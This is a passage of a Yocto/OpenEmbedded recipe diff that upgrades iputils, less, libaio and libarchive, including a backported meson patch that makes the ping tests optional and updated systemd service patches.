+From d8048d60d30a2efe7883b36626123630ce69b9fc Mon Sep 17 00:00:00 2001
+From: Heiko Becker <heirecka@exherbo.org>
+Date: Fri, 23 Jul 2021 16:32:46 +0200
+Subject: [PATCH] meson: Make tests optional
+
+Now can be disabled with -DSKIP_TESTS=true.
+
+It allows to avoid meson error during build when ip isn't installed.
+
+Closes: #359
+
+Reviewed-by: Petr Vorel <petr.vorel@gmail.com>
+Signed-off-by: Heiko Becker <heirecka@exherbo.org>
+[ pvorel: Rename variable TEST => SKIP_TESTS, default false, adjust
+the description ]
+Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
+
+Upstream-Status: Backport [3163c49f9f4ad473a00d8a345ee334a028376011]
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ meson_options.txt | 3 ++
+ ping/meson.build | 84 ++-----------------------------------------
+ ping/test/meson.build | 81 +++++++++++++++++++++++++++++++++++++++++
+ 3 files changed, 86 insertions(+), 82 deletions(-)
+ create mode 100644 ping/test/meson.build
+
+diff --git a/meson_options.txt b/meson_options.txt
+index ac5f5d9..517667f 100644
+--- a/meson_options.txt
++++ b/meson_options.txt
+@@ -72,3 +72,6 @@ option('INSTALL_SYSTEMD_UNITS', type: 'boolean', value: false,
+
+ option('USE_GETTEXT', type: 'boolean', value: true,
+ description: 'Enable I18N')
++
++option('SKIP_TESTS', type: 'boolean', value: false,
++ description: 'Skip tests during build')
+diff --git a/ping/meson.build b/ping/meson.build
+index 1e678ec..83ea353 100644
+--- a/ping/meson.build
++++ b/ping/meson.build
+@@ -27,86 +27,6 @@ if (setcap_ping)
+ )
+ endif
+
+-##### TESTS #####
+-
+-# TODO: ::1 generates DEPRECATION: ":" is not allowed in test name "ping -c1 ::1", it has been replaced with "_"
+-
+-# GitHub CI does not have working IPv6
+-# https://github.com/actions/virtual-environments/issues/668
+-ipv6_dst = []
+-ipv6_switch = []
+-r = run_command('ip', '-6', 'a')
+-if r.stdout().strip().contains('::1')
+- message('IPv6 enabled')
+- ipv6_dst = [ '::1' ]
+- ipv6_switch = [ '-6' ]
+-else
+- message('WARNING: IPv6 disabled')
++if not get_option('SKIP_TESTS')
++ subdir('test')
+ endif
+-
+-run_as_root = false
+-r = run_command('id', '-u')
+-if r.stdout().strip().to_int() == 0
+- message('running as root')
+- run_as_root = true
+-else
+- message('running as normal user')
+-endif
+-
+-foreach dst : [ 'localhost', '127.0.0.1' ] + ipv6_dst
+- foreach switch : [ '', '-4' ] + ipv6_switch
+- args = [ '-c1', dst ]
+- should_fail = false
+-
+- if switch != ''
+- args = [switch] + args
+- if (switch == '-4' and dst == '::1') or (switch == '-6' and dst == '127.0.0.1')
+- should_fail = true
+- endif
+- endif
+-
+- name = 'ping ' + ' '.join(args)
+- test(name, ping, args : args, should_fail : should_fail)
+- endforeach
+-endforeach
+-
+-ping_tests_opt = [
+- [ '-c1' ],
+- [ '-c5', '-i0.1' ],
+- [ '-c1', '-I', 'lo' ],
+- [ '-c1', '-w1' ],
+- [ '-c1', '-W1' ],
+- [ '-c1', '-W1.1' ],
+-]
+-foreach dst : [ '127.0.0.1' ] + ipv6_dst
+- foreach args : ping_tests_opt
+- args += [ dst ]
+- name = 'ping ' + ' '.join(args)
+- test(name, ping, args : args)
+- endforeach
+-endforeach
+-
+-ping_tests_opt_fail = [
+- [ '-c1.1' ],
+- [ '-I', 'nonexisting' ],
+- [ '-w0.1' ],
+- [ '-w0,1' ],
+-]
+-foreach dst : [ '127.0.0.1' ] + ipv6_dst
+- foreach args : ping_tests_opt_fail
+- args += [ dst ]
+- name = 'ping ' + ' '.join(args)
+- test(name, ping, args : args, should_fail : true)
+- endforeach
+-endforeach
+-
+-ping_tests_user_fail = [
+- [ '-c1', '-i0.001' ], # -c1 required to quit ping when running as root
+-]
+-foreach dst : [ '127.0.0.1' ] + ipv6_dst
+- foreach args : ping_tests_user_fail
+- args += [ dst ]
+- name = 'ping ' + ' '.join(args)
+- test(name, ping, args : args, should_fail : not run_as_root)
+- endforeach
+-endforeach
+diff --git a/ping/test/meson.build b/ping/test/meson.build
+new file mode 100644
+index 0000000..43aed75
+--- /dev/null
++++ b/ping/test/meson.build
+@@ -0,0 +1,81 @@
++# TODO: ::1 generates DEPRECATION: ":" is not allowed in test name "ping -c1 ::1", it has been replaced with "_"
++
++# GitHub CI does not have working IPv6
++# https://github.com/actions/virtual-environments/issues/668
++ipv6_dst = []
++ipv6_switch = []
++r = run_command('ip', '-6', 'a')
++if r.stdout().strip().contains('::1')
++ message('IPv6 enabled')
++ ipv6_dst = [ '::1' ]
++ ipv6_switch = [ '-6' ]
++else
++ message('WARNING: IPv6 disabled')
++endif
++
++run_as_root = false
++r = run_command('id', '-u')
++if r.stdout().strip().to_int() == 0
++ message('running as root')
++ run_as_root = true
++else
++ message('running as normal user')
++endif
++
++foreach dst : [ 'localhost', '127.0.0.1' ] + ipv6_dst
++ foreach switch : [ '', '-4' ] + ipv6_switch
++ args = [ '-c1', dst ]
++ should_fail = false
++
++ if switch != ''
++ args = [switch] + args
++ if (switch == '-4' and dst == '::1') or (switch == '-6' and dst == '127.0.0.1')
++ should_fail = true
++ endif
++ endif
++
++ name = 'ping ' + ' '.join(args)
++ test(name, ping, args : args, should_fail : should_fail)
++ endforeach
++endforeach
++
++ping_tests_opt = [
++ [ '-c1' ],
++ [ '-c5', '-i0.1' ],
++ [ '-c1', '-I', 'lo' ],
++ [ '-c1', '-w1' ],
++ [ '-c1', '-W1' ],
++ [ '-c1', '-W1.1' ],
++]
++foreach dst : [ '127.0.0.1' ] + ipv6_dst
++ foreach args : ping_tests_opt
++ args += [ dst ]
++ name = 'ping ' + ' '.join(args)
++ test(name, ping, args : args)
++ endforeach
++endforeach
++
++ping_tests_opt_fail = [
++ [ '-c1.1' ],
++ [ '-I', 'nonexisting' ],
++ [ '-w0.1' ],
++ [ '-w0,1' ],
++]
++foreach dst : [ '127.0.0.1' ] + ipv6_dst
++ foreach args : ping_tests_opt_fail
++ args += [ dst ]
++ name = 'ping ' + ' '.join(args)
++ test(name, ping, args : args, should_fail : true)
++ endforeach
++endforeach
++
++ping_tests_user_fail = [
++ [ '-c1', '-i0.001' ], # -c1 required to quit ping when running as root
++]
++foreach dst : [ '127.0.0.1' ] + ipv6_dst
++ foreach args : ping_tests_user_fail
++ args += [ dst ]
++ name = 'ping ' + ' '.join(args)
++ test(name, ping, args : args, should_fail : not run_as_root)
++ endforeach
++endforeach
+--
+2.30.2
+
diff --git a/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch b/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch
index d7367caf78..c61e39dc80 100644
--- a/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch
+++ b/meta/recipes-extended/iputils/iputils/0001-rarpd-rdisc-Drop-PrivateUsers.patch
@@ -1,20 +1,20 @@
-From 6e51d529988cfc0bb357751fd767e9f1478e2b81 Mon Sep 17 00:00:00 2001
+From dfeeb3f1328d09f516edeb6349bd63e3c87f9397 Mon Sep 17 00:00:00 2001
From: Alex Kiernan <alex.kiernan@gmail.com>
Date: Thu, 13 Feb 2020 06:08:45 +0000
-Subject: [PATCH] rarpd: rdisc: Drop PrivateUsers
+Subject: [PATCH] rarpd:Drop PrivateUsers
-Neither rarpd nor rdisc can gain the necessary capabilities with
+rarpd cannot gain the necessary capabilities with
PrivateUsers enabled.
Upstream-Status: Pending
Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+
---
systemd/rarpd.service.in | 1 -
- systemd/rdisc.service.in | 3 ++-
- 2 files changed, 2 insertions(+), 2 deletions(-)
+ 1 file changed, 1 deletion(-)
diff --git a/systemd/rarpd.service.in b/systemd/rarpd.service.in
-index e600c10c93e6..f5d7621a7ce8 100644
+index e600c10..f5d7621 100644
--- a/systemd/rarpd.service.in
+++ b/systemd/rarpd.service.in
@@ -12,7 +12,6 @@ AmbientCapabilities=CAP_NET_RAW
@@ -25,22 +25,3 @@ index e600c10c93e6..f5d7621a7ce8 100644
ProtectSystem=strict
ProtectHome=yes
ProtectControlGroups=yes
-diff --git a/systemd/rdisc.service.in b/systemd/rdisc.service.in
-index 4e2a1ec9d0e5..a71b87d36b37 100644
---- a/systemd/rdisc.service.in
-+++ b/systemd/rdisc.service.in
-@@ -8,9 +8,10 @@ After=network.target
- EnvironmentFile=-/etc/sysconfig/rdisc
- ExecStart=@sbindir@/rdisc -f -t $OPTIONS $SEND_ADDRESS $RECEIVE_ADDRESS
-
-+CapabilityBoundingSet=CAP_NET_RAW
- AmbientCapabilities=CAP_NET_RAW
- PrivateTmp=yes
--PrivateUsers=yes
-+DynamicUser=yes
- ProtectSystem=strict
- ProtectHome=yes
- ProtectControlGroups=yes
---
-2.17.1
-
diff --git a/meta/recipes-extended/iputils/iputils_20210722.bb b/meta/recipes-extended/iputils/iputils_20210722.bb
new file mode 100644
index 0000000000..d81f787dd8
--- /dev/null
+++ b/meta/recipes-extended/iputils/iputils_20210722.bb
@@ -0,0 +1,72 @@
+SUMMARY = "Network monitoring tools"
+DESCRIPTION = "Utilities for the IP protocol, including traceroute6, \
+tracepath, tracepath6, ping, ping6 and arping."
+HOMEPAGE = "https://github.com/iputils/iputils"
+SECTION = "console/network"
+
+LICENSE = "BSD-3-Clause & GPLv2+"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=55aa8c9fcad0691cef0ecd420361e390"
+
+DEPENDS = "gnutls"
+
+SRC_URI = "git://github.com/iputils/iputils;branch=master;protocol=https \
+ file://0001-rarpd-rdisc-Drop-PrivateUsers.patch \
+ file://0001-meson-Make-tests-optional.patch \
+ "
+SRCREV = "71bb2a6c72e9f658e90ac618c73d873a76bbaa81"
+
+S = "${WORKDIR}/git"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>20\d+)"
+
+# Fixed in 2000-10-10, but the versioning of iputils
+# breaks the version order.
+CVE_CHECK_WHITELIST += "CVE-2000-1213 CVE-2000-1214"
+
+PACKAGECONFIG ??= "libcap rarpd \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ninfod traceroute6', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false -DNO_SETCAP_OR_SUID=true, libcap libcap-native"
+PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
+PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
+PACKAGECONFIG[ninfod] = "-DBUILD_NINFOD=true,-DBUILD_NINFOD=false,"
+PACKAGECONFIG[rarpd] = "-DBUILD_RARPD=true,-DBUILD_RARPD=false,"
+PACKAGECONFIG[systemd] = "-Dsystemdunitdir=${systemd_system_unitdir},,systemd"
+PACKAGECONFIG[tftpd] = "-DBUILD_TFTPD=true, -DBUILD_TFTPD=false,"
+PACKAGECONFIG[traceroute6] = "-DBUILD_TRACEROUTE6=true,-DBUILD_TRACEROUTE6=false,"
+PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
+
+inherit meson systemd update-alternatives pkgconfig
+
+EXTRA_OEMESON += "--prefix=${root_prefix}/ -DSKIP_TESTS=true"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-ping = "ping"
+ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
+
+SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff ${PN}-rdisc \
+ ${@bb.utils.contains('PACKAGECONFIG', 'rarpd', '${PN}-rarpd', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'tftpd', '${PN}-tftpd', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-traceroute6 ${PN}-ninfod', '', d)}"
+PACKAGES += "${SPLITPKGS}"
+
+ALLOW_EMPTY:${PN} = "1"
+RDEPENDS:${PN} += "${SPLITPKGS}"
+
+FILES:${PN} = ""
+FILES:${PN}-ping = "${base_bindir}/ping.${BPN}"
+FILES:${PN}-arping = "${base_bindir}/arping"
+FILES:${PN}-tracepath = "${base_bindir}/tracepath"
+FILES:${PN}-traceroute6 = "${base_bindir}/traceroute6"
+FILES:${PN}-clockdiff = "${base_bindir}/clockdiff"
+FILES:${PN}-tftpd = "${base_bindir}/tftpd ${sysconfdir}/xinetd.d/tftp"
+FILES:${PN}-rarpd = "${base_sbindir}/rarpd ${systemd_system_unitdir}/rarpd@.service"
+FILES:${PN}-rdisc = "${base_sbindir}/rdisc"
+FILES:${PN}-ninfod = "${base_sbindir}/ninfod ${sysconfdir}/init.d/ninfod.sh"
+
+SYSTEMD_PACKAGES = "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ninfod', '', d)} \
+ ${PN}-rdisc"
+SYSTEMD_SERVICE:${PN}-ninfod = "ninfod.service"
+SYSTEMD_SERVICE:${PN}-rdisc = "rdisc.service"
diff --git a/meta/recipes-extended/iputils/iputils_s20200821.bb b/meta/recipes-extended/iputils/iputils_s20200821.bb
deleted file mode 100644
index 28dd194a12..0000000000
--- a/meta/recipes-extended/iputils/iputils_s20200821.bb
+++ /dev/null
@@ -1,72 +0,0 @@
-SUMMARY = "Network monitoring tools"
-DESCRIPTION = "Utilities for the IP protocol, including traceroute6, \
-tracepath, tracepath6, ping, ping6 and arping."
-HOMEPAGE = "https://github.com/iputils/iputils"
-SECTION = "console/network"
-
-LICENSE = "BSD & GPLv2+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=55aa8c9fcad0691cef0ecd420361e390"
-
-DEPENDS = "gnutls"
-
-SRC_URI = "git://github.com/iputils/iputils \
- file://0001-rarpd-rdisc-Drop-PrivateUsers.patch \
- "
-SRCREV = "23c3782ae0c7f9c6ae59dbed8ad9204f8758542b"
-
-S = "${WORKDIR}/git"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>s\d+)"
-
-# Fixed in 2000-10-10, but the versioning of iputils
-# breaks the version order.
-CVE_CHECK_WHITELIST += "CVE-2000-1213 CVE-2000-1214"
-
-PACKAGECONFIG ??= "libcap rarpd \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', 'ninfod traceroute6', '', d)} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[libcap] = "-DUSE_CAP=true, -DUSE_CAP=false, libcap"
-PACKAGECONFIG[libidn] = "-DUSE_IDN=true, -DUSE_IDN=false, libidn2"
-PACKAGECONFIG[gettext] = "-DUSE_GETTEXT=true, -DUSE_GETTEXT=false, gettext"
-PACKAGECONFIG[ninfod] = "-DBUILD_NINFOD=true,-DBUILD_NINFOD=false,"
-PACKAGECONFIG[rarpd] = "-DBUILD_RARPD=true,-DBUILD_RARPD=false,"
-PACKAGECONFIG[systemd] = "-Dsystemdunitdir=${systemd_unitdir}/system,,systemd"
-PACKAGECONFIG[tftpd] = "-DBUILD_TFTPD=true, -DBUILD_TFTPD=false,"
-PACKAGECONFIG[traceroute6] = "-DBUILD_TRACEROUTE6=true,-DBUILD_TRACEROUTE6=false,"
-PACKAGECONFIG[docs] = "-DBUILD_HTML_MANS=true -DBUILD_MANS=true,-DBUILD_HTML_MANS=false -DBUILD_MANS=false, libxslt"
-
-inherit meson systemd update-alternatives
-
-# Have to disable setcap/suid as its not deterministic
-EXTRA_OEMESON += "--prefix=${root_prefix}/ -DNO_SETCAP_OR_SUID=true"
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN}-ping = "ping"
-ALTERNATIVE_LINK_NAME[ping] = "${base_bindir}/ping"
-
-SPLITPKGS = "${PN}-ping ${PN}-arping ${PN}-tracepath ${PN}-clockdiff ${PN}-rdisc \
- ${@bb.utils.contains('PACKAGECONFIG', 'rarpd', '${PN}-rarpd', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'tftpd', '${PN}-tftpd', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-traceroute6 ${PN}-ninfod', '', d)}"
-PACKAGES += "${SPLITPKGS}"
-
-ALLOW_EMPTY_${PN} = "1"
-RDEPENDS_${PN} += "${SPLITPKGS}"
-
-FILES_${PN} = ""
-FILES_${PN}-ping = "${base_bindir}/ping.${BPN}"
-FILES_${PN}-arping = "${base_bindir}/arping"
-FILES_${PN}-tracepath = "${base_bindir}/tracepath"
-FILES_${PN}-traceroute6 = "${base_bindir}/traceroute6"
-FILES_${PN}-clockdiff = "${base_bindir}/clockdiff"
-FILES_${PN}-tftpd = "${base_bindir}/tftpd ${sysconfdir}/xinetd.d/tftp"
-FILES_${PN}-rarpd = "${base_sbindir}/rarpd ${systemd_unitdir}/system/rarpd@.service"
-FILES_${PN}-rdisc = "${base_sbindir}/rdisc"
-FILES_${PN}-ninfod = "${base_sbindir}/ninfod ${sysconfdir}/init.d/ninfod.sh"
-
-SYSTEMD_PACKAGES = "${@bb.utils.contains('DISTRO_FEATURES', 'ipv6', '${PN}-ninfod', '', d)} \
- ${PN}-rdisc"
-SYSTEMD_SERVICE_${PN}-ninfod = "ninfod.service"
-SYSTEMD_SERVICE_${PN}-rdisc = "rdisc.service"
diff --git a/meta/recipes-extended/less/less_563.bb b/meta/recipes-extended/less/less_563.bb
deleted file mode 100644
index 123522b5dc..0000000000
--- a/meta/recipes-extended/less/less_563.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SUMMARY = "Text file viewer similar to more"
-DESCRIPTION = "Less is a program similar to more, i.e. a terminal \
-based program for viewing text files and the output from other \
-programs. Less offers many features beyond those that more does."
-HOMEPAGE = "http://www.greenwoodsoftware.com/"
-SECTION = "console/utils"
-
-# (GPLv2+ (<< 418), GPLv3+ (>= 418)) | less
-# Including email author giving permissing to use BSD
-#
-# From: Mark Nudelman <markn@greenwoodsoftware.com>
-# To: Elizabeth Flanagan <elizabeth.flanagan@intel.com
-# Date: 12/19/11
-#
-# Hi Elizabeth,
-# Using a generic BSD license for less is fine with me.
-# Thanks,
-#
-# --Mark
-#
-
-LICENSE = "GPLv3+ | BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://LICENSE;md5=ba01d0cab7f62f7f2204c7780ff6a87d \
- "
-DEPENDS = "ncurses"
-
-SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \
- "
-
-SRC_URI[sha256sum] = "ce5b6d2b9fc4442d7a07c93ab128d2dff2ce09a1d4f2d055b95cf28dd0dc9a9a"
-
-UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html"
-
-inherit autotools update-alternatives
-
-do_install () {
- oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install
-}
-
-ALTERNATIVE_${PN} = "less"
-ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/less/less_598.bb b/meta/recipes-extended/less/less_598.bb
new file mode 100644
index 0000000000..574efff365
--- /dev/null
+++ b/meta/recipes-extended/less/less_598.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Text file viewer similar to more"
+DESCRIPTION = "Less is a program similar to more, i.e. a terminal \
+based program for viewing text files and the output from other \
+programs. Less offers many features beyond those that more does."
+HOMEPAGE = "http://www.greenwoodsoftware.com/"
+SECTION = "console/utils"
+
+# (GPLv2+ (<< 418), GPLv3+ (>= 418)) | less
+# Including email author giving permissing to use BSD
+#
+# From: Mark Nudelman <markn@greenwoodsoftware.com>
+# To: Elizabeth Flanagan <elizabeth.flanagan@intel.com
+# Date: 12/19/11
+#
+# Hi Elizabeth,
+# Using a generic BSD license for less is fine with me.
+# Thanks,
+#
+# --Mark
+#
+
+LICENSE = "GPLv3+ | BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://LICENSE;md5=ba01d0cab7f62f7f2204c7780ff6a87d \
+ "
+DEPENDS = "ncurses"
+
+SRC_URI = "http://www.greenwoodsoftware.com/${BPN}/${BPN}-${PV}.tar.gz \
+ "
+
+SRC_URI[sha256sum] = "64e0eb24534ac70d15ff3a36c8853f7a48196aa230d2a104707fc4ff1a45e982"
+
+UPSTREAM_CHECK_URI = "http://www.greenwoodsoftware.com/less/download.html"
+
+inherit autotools update-alternatives
+
+do_install () {
+ oe_runmake 'bindir=${D}${bindir}' 'mandir=${D}${mandir}' install
+}
+
+ALTERNATIVE:${PN} = "less"
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/libaio/libaio/destdir.patch b/meta/recipes-extended/libaio/libaio/destdir.patch
deleted file mode 100644
index 0f90406bee..0000000000
--- a/meta/recipes-extended/libaio/libaio/destdir.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Pending
-
-from openembedded, added by Qing He <qing.he@intel.com>
-
-Index: libaio-0.3.110/Makefile
-===================================================================
---- libaio-0.3.110.orig/Makefile
-+++ libaio-0.3.110/Makefile
-@@ -15,7 +15,7 @@ all:
- @$(MAKE) -C src
-
- install:
-- @$(MAKE) -C src install prefix=$(prefix) includedir=$(includedir) libdir=$(libdir)
-+ @$(MAKE) -C src install prefix=$(DESTDIR)$(prefix) includedir=$(DESTDIR)$(includedir) libdir=$(DESTDIR)$(libdir)
-
- check:
- @$(MAKE) -C harness check
diff --git a/meta/recipes-extended/libaio/libaio/system-linkage.patch b/meta/recipes-extended/libaio/libaio/system-linkage.patch
index 0b1f475697..cc91ea99d9 100644
--- a/meta/recipes-extended/libaio/libaio/system-linkage.patch
+++ b/meta/recipes-extended/libaio/libaio/system-linkage.patch
@@ -12,26 +12,22 @@ undefined reference to `__stack_chk_fail_local'
Upstream-Status: Pending
Signed-off-by: Ross Burton <ross.burton@intel.com>
---
- src/Makefile | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
+ src/Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/Makefile b/src/Makefile
-index eadb336..56ab701 100644
+index 37ae219..22e0c9a 100644
--- a/src/Makefile
+++ b/src/Makefile
-@@ -3,10 +3,10 @@ includedir=$(prefix)/include
- libdir=$(prefix)/lib
-
- CFLAGS ?= -g -fomit-frame-pointer -O2
--CFLAGS += -nostdlib -nostartfiles -Wall -I. -fPIC
-+CFLAGS += -Wall -I. -fPIC
+@@ -6,7 +6,7 @@ CFLAGS ?= -g -fomit-frame-pointer -O2
+ CFLAGS += -Wall -I. -fPIC
SO_CFLAGS=-shared $(CFLAGS)
L_CFLAGS=$(CFLAGS)
-LINK_FLAGS=
+LINK_FLAGS=$(LDFLAGS)
LINK_FLAGS+=$(LDFLAGS)
+ ENABLE_SHARED ?= 1
- soname=libaio.so.1
--
-2.1.4
+2.25.1
diff --git a/meta/recipes-extended/libaio/libaio_0.3.111.bb b/meta/recipes-extended/libaio/libaio_0.3.111.bb
deleted file mode 100644
index 8e1cd349a0..0000000000
--- a/meta/recipes-extended/libaio/libaio_0.3.111.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-SUMMARY = "Asynchronous I/O library"
-DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface"
-HOMEPAGE = "http://lse.sourceforge.net/io/aio.html"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499"
-
-SRC_URI = "git://pagure.io/libaio.git;protocol=https \
- file://00_arches.patch \
- file://destdir.patch \
- file://libaio_fix_for_mips_syscalls.patch \
- file://system-linkage.patch \
- "
-SRCREV = "f66be22ab0a59a39858900ab72a8c6a6e8b0b7ec"
-S = "${WORKDIR}/git"
-
-EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}"
-
-do_install () {
- oe_runmake install DESTDIR=${D}
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libaio/libaio_0.3.112.bb b/meta/recipes-extended/libaio/libaio_0.3.112.bb
new file mode 100644
index 0000000000..3892f3244e
--- /dev/null
+++ b/meta/recipes-extended/libaio/libaio_0.3.112.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Asynchronous I/O library"
+DESCRIPTION = "Asynchronous input/output library that uses the kernels native interface"
+HOMEPAGE = "http://lse.sourceforge.net/io/aio.html"
+
+LICENSE = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d8045f3b8f929c1cb29a1e3fd737b499"
+
+SRC_URI = "git://pagure.io/libaio.git;protocol=https;branch=master \
+ file://00_arches.patch \
+ file://libaio_fix_for_mips_syscalls.patch \
+ file://system-linkage.patch \
+ "
+SRCREV = "d025927efa75a0d1b46ca3a5ef331caa2f46ee0e"
+S = "${WORKDIR}/git"
+
+EXTRA_OEMAKE =+ "prefix=${prefix} includedir=${includedir} libdir=${libdir}"
+
+do_install () {
+ oe_runmake install DESTDIR=${D}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libarchive/libarchive_3.4.3.bb b/meta/recipes-extended/libarchive/libarchive_3.4.3.bb
deleted file mode 100644
index dbfc067b93..0000000000
--- a/meta/recipes-extended/libarchive/libarchive_3.4.3.bb
+++ /dev/null
@@ -1,66 +0,0 @@
-SUMMARY = "Support for reading various archive formats"
-DESCRIPTION = "C library and command-line tools for reading and writing tar, cpio, zip, ISO, and other archive formats"
-HOMEPAGE = "http://www.libarchive.org/"
-SECTION = "devel"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fe01f5e02b1f0cc934d593a7b0ddceb6"
-
-DEPENDS = "e2fsprogs-native"
-
-PACKAGECONFIG ?= "zlib bz2 xz lzo"
-
-PACKAGECONFIG_append_class-target = "\
- libxml2 \
- ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
-"
-
-DEPENDS_BZIP2 = "bzip2-replacement-native"
-DEPENDS_BZIP2_class-target = "bzip2"
-
-PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
-PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
-PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib,"
-PACKAGECONFIG[bz2] = "--with-bz2lib,--without-bz2lib,${DEPENDS_BZIP2},"
-PACKAGECONFIG[xz] = "--with-lzma,--without-lzma,xz,"
-PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl,"
-PACKAGECONFIG[libxml2] = "--with-xml2,--without-xml2,libxml2,"
-PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat,"
-PACKAGECONFIG[lzo] = "--with-lzo2,--without-lzo2,lzo,"
-PACKAGECONFIG[nettle] = "--with-nettle,--without-nettle,nettle,"
-PACKAGECONFIG[lz4] = "--with-lz4,--without-lz4,lz4,"
-PACKAGECONFIG[mbedtls] = "--with-mbedtls,--without-mbedtls,mbedtls,"
-
-EXTRA_OECONF += "--enable-largefile"
-
-SRC_URI = "http://libarchive.org/downloads/libarchive-${PV}.tar.gz"
-
-SRC_URI[sha256sum] = "ee1e749213c108cb60d53147f18c31a73d6717d7e3d2481c157e1b34c881ea39"
-
-inherit autotools update-alternatives pkgconfig
-
-CPPFLAGS += "-I${WORKDIR}/extra-includes"
-
-do_configure[cleandirs] += "${WORKDIR}/extra-includes"
-do_configure_prepend() {
- # We just need the headers for some type constants, so no need to
- # build all of e2fsprogs for the target
- cp -R ${STAGING_INCDIR_NATIVE}/ext2fs ${WORKDIR}/extra-includes/
-}
-
-ALTERNATIVE_PRIORITY = "80"
-
-PACKAGES =+ "bsdtar"
-FILES_bsdtar = "${bindir}/bsdtar"
-
-ALTERNATIVE_bsdtar = "tar"
-ALTERNATIVE_LINK_NAME[tar] = "${base_bindir}/tar"
-ALTERNATIVE_TARGET[tar] = "${bindir}/bsdtar"
-
-PACKAGES =+ "bsdcpio"
-FILES_bsdcpio = "${bindir}/bsdcpio"
-
-ALTERNATIVE_bsdcpio = "cpio"
-ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
-ALTERNATIVE_TARGET[cpio] = "${bindir}/bsdcpio"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/libarchive/libarchive_3.5.2.bb b/meta/recipes-extended/libarchive/libarchive_3.5.2.bb
new file mode 100644
index 0000000000..385bcef6e9
--- /dev/null
+++ b/meta/recipes-extended/libarchive/libarchive_3.5.2.bb
@@ -0,0 +1,66 @@
+SUMMARY = "Support for reading various archive formats"
+DESCRIPTION = "C library and command-line tools for reading and writing tar, cpio, zip, ISO, and other archive formats"
+HOMEPAGE = "http://www.libarchive.org/"
+SECTION = "devel"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d499814247adaee08d88080841cb5665"
+
+DEPENDS = "e2fsprogs-native"
+
+PACKAGECONFIG ?= "zlib bz2 xz lzo zstd"
+
+PACKAGECONFIG:append:class-target = "\
+ ${@bb.utils.filter('DISTRO_FEATURES', 'acl xattr', d)} \
+"
+
+DEPENDS_BZIP2 = "bzip2-replacement-native"
+DEPENDS_BZIP2:class-target = "bzip2"
+
+PACKAGECONFIG[acl] = "--enable-acl,--disable-acl,acl,"
+PACKAGECONFIG[xattr] = "--enable-xattr,--disable-xattr,attr,"
+PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib,"
